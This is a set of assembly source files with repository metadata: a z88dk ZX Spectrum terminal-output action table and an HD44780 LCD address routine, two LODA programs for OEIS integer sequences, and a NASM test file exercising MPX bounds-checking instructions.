] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/target/zx/driver/terminal/zx_01_output_char_64_tty_z88dk/zx_01_output_char_64_tty_z88dk_oterm_msg_tty.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_driver
SECTION code_driver_terminal_output
PUBLIC zx_01_output_char_64_tty_z88dk_oterm_msg_tty
EXTERN l_offset_ix_de, zx_tty_z88dk_state_table
EXTERN asm_tty_execute_action, l_jphl
zx_01_output_char_64_tty_z88dk_oterm_msg_tty:
; implement tty emulation
;
; enter : c = char to output
; exit : c = char to output (possibly modified)
; carry reset if tty emulation absorbs char
; can use: af, bc, de, hl
ld hl,26
call l_offset_ix_de ; hl = & tty_state
; hl = & tty
; c = ascii char
ld de,zx_tty_z88dk_state_table
call l_jphl ; execute tty
ret c ; if producing a char for the terminal
; a = action code
; de = & parameters
ld hl,action_table
jp asm_tty_execute_action
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ACTION TABLE FOR TTY_Z88DK
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
EXTERN error_einval_znc
EXTERN zx_01_output_char_32_tty_z88dk_01_scroll
EXTERN zx_01_output_char_32_tty_z88dk_02_font_address
EXTERN zx_01_output_char_32_tty_z88dk_08_backspace
EXTERN zx_01_output_char_32_tty_z88dk_09_tab
EXTERN zx_01_output_char_32_tty_z88dk_11_home
EXTERN zx_01_output_char_64_tty_z88dk_12_cls
EXTERN zx_01_output_char_32_tty_z88dk_14_foreground_mask
EXTERN zx_01_output_char_32_tty_z88dk_15_background_attr
EXTERN zx_01_output_char_32_tty_z88dk_16_ink
EXTERN zx_01_output_char_32_tty_z88dk_17_paper
EXTERN zx_01_output_char_32_tty_z88dk_18_flash
EXTERN zx_01_output_char_32_tty_z88dk_19_bright
EXTERN zx_01_output_char_32_tty_z88dk_20_inverse
EXTERN zx_01_output_char_32_tty_z88dk_21_foreground_attr
EXTERN zx_01_output_char_32_tty_z88dk_22_at
EXTERN zx_01_output_char_32_tty_z88dk_23_atr
EXTERN zx_01_output_char_32_tty_z88dk_27_escape
EXTERN zx_01_output_char_32_tty_z88dk_28_left
EXTERN zx_01_output_char_32_tty_z88dk_29_right
EXTERN zx_01_output_char_32_tty_z88dk_30_up
EXTERN zx_01_output_char_32_tty_z88dk_31_down
action_table:
defw zx_01_output_char_32_tty_z88dk_01_scroll
defw zx_01_output_char_32_tty_z88dk_02_font_address
defw error_einval_znc
defw error_einval_znc
defw error_einval_znc
defw error_einval_znc
defw error_einval_znc
defw zx_01_output_char_32_tty_z88dk_08_backspace
defw zx_01_output_char_32_tty_z88dk_09_tab
defw error_einval_znc
defw zx_01_output_char_32_tty_z88dk_11_home
defw zx_01_output_char_64_tty_z88dk_12_cls
defw error_einval_znc
defw zx_01_output_char_32_tty_z88dk_14_foreground_mask ; [ 14 = foreground mask ]
defw zx_01_output_char_32_tty_z88dk_15_background_attr ; [ 15 = background attr ]
defw zx_01_output_char_32_tty_z88dk_16_ink ; [ 16 = ink 0..7 ]
defw zx_01_output_char_32_tty_z88dk_17_paper ; [ 17 = paper 0..7 ]
defw zx_01_output_char_32_tty_z88dk_18_flash ; [ 18 = flash 0..1 ]
defw zx_01_output_char_32_tty_z88dk_19_bright ; [ 19 = bright 0..1 ]
defw zx_01_output_char_32_tty_z88dk_20_inverse ; [ 20 = inverse 0..1 ]
defw zx_01_output_char_32_tty_z88dk_21_foreground_attr ; [ 21 = foreground attr ]
defw zx_01_output_char_32_tty_z88dk_22_at
defw zx_01_output_char_32_tty_z88dk_23_atr
defw error_einval_znc
defw error_einval_znc
defw error_einval_znc
defw zx_01_output_char_32_tty_z88dk_27_escape
defw zx_01_output_char_32_tty_z88dk_28_left
defw zx_01_output_char_32_tty_z88dk_29_right
defw zx_01_output_char_32_tty_z88dk_30_up
defw zx_01_output_char_32_tty_z88dk_31_down
| 38.135417 | 86 | 0.763999 |
c29dd86ca3b2bfe8b6c73dba980e6b44af5a6794 | 427 | asm | Assembly | programs/oeis/152/A152717.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/152/A152717.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/152/A152717.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A152717: Triangle T(n,k) read by rows: T(n,k) = 5^min(k, n-k) = 5^A004197(n,k).
; 1,1,1,1,5,1,1,5,5,1,1,5,25,5,1,1,5,25,25,5,1,1,5,25,125,25,5,1,1,5,25,125,125,25,5,1,1,5,25,125,625,125,25,5,1,1,5,25,125,625,625,125,25,5,1,1,5,25,125,625,3125,625,125,25,5,1
cal $0,157454 ; Triangle read by rows: T(n, m) = min(2*m - 1, 2*(n - m) + 1).
div $0,2
cal $0,5055 ; 7*5^n.
add $0,56
mov $1,$0
sub $1,62
div $1,28
mul $1,4
add $1,1
| 32.846154 | 177 | 0.580796 |
7223402d21e62a8f1711b35f2761d05c7adee129 | 2,786 | asm | Assembly | 3rdParties/src/nasm/nasm-2.15.02/travis/test/mpx-64.asm | blue3k/StormForge | 1557e699a673ae9adcc8f987868139f601ec0887 | [
"Apache-2.0"
] | 1 | 2020-06-20T07:35:25.000Z | 2020-06-20T07:35:25.000Z | 3rdParties/src/nasm/nasm-2.15.02/travis/test/mpx-64.asm | blue3k/StormForge | 1557e699a673ae9adcc8f987868139f601ec0887 | [
"Apache-2.0"
] | null | null | null | 3rdParties/src/nasm/nasm-2.15.02/travis/test/mpx-64.asm | blue3k/StormForge | 1557e699a673ae9adcc8f987868139f601ec0887 | [
"Apache-2.0"
] | null | null | null | BITS 64
bndmk bnd1, [r11]
bndmk bnd1, [rax]
bndmk bnd1, [0x399]
bndmk bnd1, [r9+0x3]
bndmk bnd1, [rax+0x3]
bndmk bnd1, [3,1*r12]
bndmk bnd1, [rax+rcx]
bndmk bnd1, [r11+1*rax+0x3]
bndmk bnd1, [rbx+1*r9+0x3]
; bndmov
bndmov bnd1, [r11]
bndmov bnd1, [rax]
bndmov bnd1, [0x399]
bndmov bnd2, [r9+0x3]
bndmov bnd2, [rax+0x3]
bndmov bnd0, [1*r12+0x3]
bndmov bnd2, [rax+rdx]
bndmov bnd1, [r11+1*rax+0x3]
bndmov bnd1, [rbx+1*r9+0x3]
bndmov bnd0, bnd2
bndmov [r11], bnd1
bndmov [rax], bnd1
bndmov [0x399], bnd1
bndmov [r9+0x3], bnd2
bndmov [rax+0x3], bnd2
bndmov [1*r12+0x3], bnd0
bndmov [rax+rdx], bnd2
bndmov [r11+1*rax+0x3], bnd1
bndmov [rbx+1*r9+0x3], bnd1
bndmov bnd2, bnd0
; bndcl
bndcl bnd1, [r11]
bndcl bnd1, [rax]
bndcl bnd1, r11
bndcl bnd1, rcx
bndcl bnd1, [0x399]
bndcl bnd1, [r9+0x3]
bndcl bnd1, [rax+0x3]
bndcl bnd1, [1*r12+0x3]
bndcl bnd1, [rax+rcx]
bndcl bnd1, [r11+1*rax+0x3]
bndcl bnd1, [rbx+1*r9+0x3]
; bndcu
bndcu bnd1, [r11]
bndcu bnd1, [rax]
bndcu bnd1, r11
bndcu bnd1, rcx
bndcu bnd1, [0x399]
bndcu bnd1, [r9+0x3]
bndcu bnd1, [rax+0x3]
bndcu bnd1, [1*r12+0x3]
bndcu bnd1, [rax+rcx]
bndcu bnd1, [r11+1*rax+0x3]
bndcu bnd1, [rbx+1*r9+0x3]
; bndcn
bndcn bnd1, [r11]
bndcn bnd1, [rax]
bndcn bnd1, r11
bndcn bnd1, rcx
bndcn bnd1, [0x399]
bndcn bnd1, [r9+0x3]
bndcn bnd1, [rax+0x3]
bndcn bnd1, [1*r9+0x3]
bndcn bnd1, [rax+rcx]
bndcn bnd1, [r11+1*rax+0x3]
bndcn bnd1, [rbx+1*r9+0x3]
; bndstx
; next 5 lines should be parsed same
bndstx [rax+0x3,rbx], bnd0 ; NASM - split EA
bndstx [rax+rbx*1+0x3], bnd0 ; GAS
bndstx [rax+rbx+3], bnd0 ; GAS
bndstx [rax+0x3], bnd0, rbx ; ICC-1
bndstx [rax+0x3], rbx, bnd0 ; ICC-2
; next 5 lines should be parsed same
bndstx [,rcx*1], bnd2 ; NASM
bndstx [0,rcx*1], bnd2 ; NASM
bndstx [0], bnd2, rcx ; ICC-1
bndstx [0], rcx, bnd2 ; ICC-2
bndstx [rcx*1], bnd2 ; GAS - rcx is encoded as index only when it is mib
; next 3 lines should be parsed same
bndstx [3,1*r12], bnd2 ; NASM
bndstx [1*r12+3], bnd2 ; GAS
bndstx [3], r12, bnd2 ; ICC
bndstx [r12+0x399], bnd3
bndstx [r11+0x1234], bnd1
bndstx [rbx+0x1234], bnd2
bndstx [rdx], bnd1
; bndldx
bndldx bnd0, [rax+rbx*1+0x3]
bndldx bnd2, [rbx+rdx+3]
bndldx bnd3, [r12+0x399]
bndldx bnd1, [r11+0x1234]
bndldx bnd2, [rbx+0x1234]
bndldx bnd2, [1*rbx+3]
bndldx bnd2, [1*r12+3]
bndldx bnd1, [rdx]
; bnd
bnd ret
bnd call foo
bnd jmp foo ; when it becomes a Jb form - short jmp (eb),
; bnd prefix is silently dropped
bnd jmp near 0 ; near jmp (opcode e9)
; bnd jmp short 0 ; explicit short jmp (opcode eb) : error
bnd jno foo
foo: bnd ret
| 23.216667 | 75 | 0.617014 |
26b5260d832e6d139806a349e8ae15760748ba31 | 240 | asm | Assembly | libsrc/video/hd44780/asm_lcd_get_ddram_addr_1x20.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/video/hd44780/asm_lcd_get_ddram_addr_1x20.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/video/hd44780/asm_lcd_get_ddram_addr_1x20.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_driver
PUBLIC asm_lcd_get_ddram_addr_1x20
; Calculate DDRAM address for 1x20 HD44780
; Row 0: 0-19
;
; Entry:
; b = y
; c = x
; Exit:
; l = ddram address
; Preserves:
; de
asm_lcd_get_ddram_addr_1x20:
ld l,c
ret
| 12.631579 | 42 | 0.683333 |
a06e49efe19ef1654a174847212458c0d27fb02a | 858 | asm | Assembly | oeis/142/A142181.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/142/A142181.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/142/A142181.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A142181: Primes congruent to 37 mod 39.
; Submitted by Christian Krause
; 37,193,271,349,661,739,1051,1129,1597,1753,1831,1987,2143,2221,2377,2689,2767,3001,3079,3313,3391,3469,3547,4093,4327,4483,4561,4639,4951,5107,5419,5653,6043,6121,6199,6277,6823,7057,7213,7369,7603,7681,7759,7993,8461,8539,8929,9007,9241,9319,9397,9631,9787,10099,10177,10333,10567,10723,10957,11113,11503,11971,12049,12517,12829,12907,13063,13219,13297,13687,13921,13999,14389,14779,15013,15091,15559,16183,16339,16417,16573,16651,16729,16963,17041,17431,17509,17977,18133,18211,18289,18367,18523
mov $1,12
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $1,6
sub $2,1
mov $3,$1
add $1,2
mul $3,6
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,17
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,6
sub $0,113
| 33 | 499 | 0.72028 |
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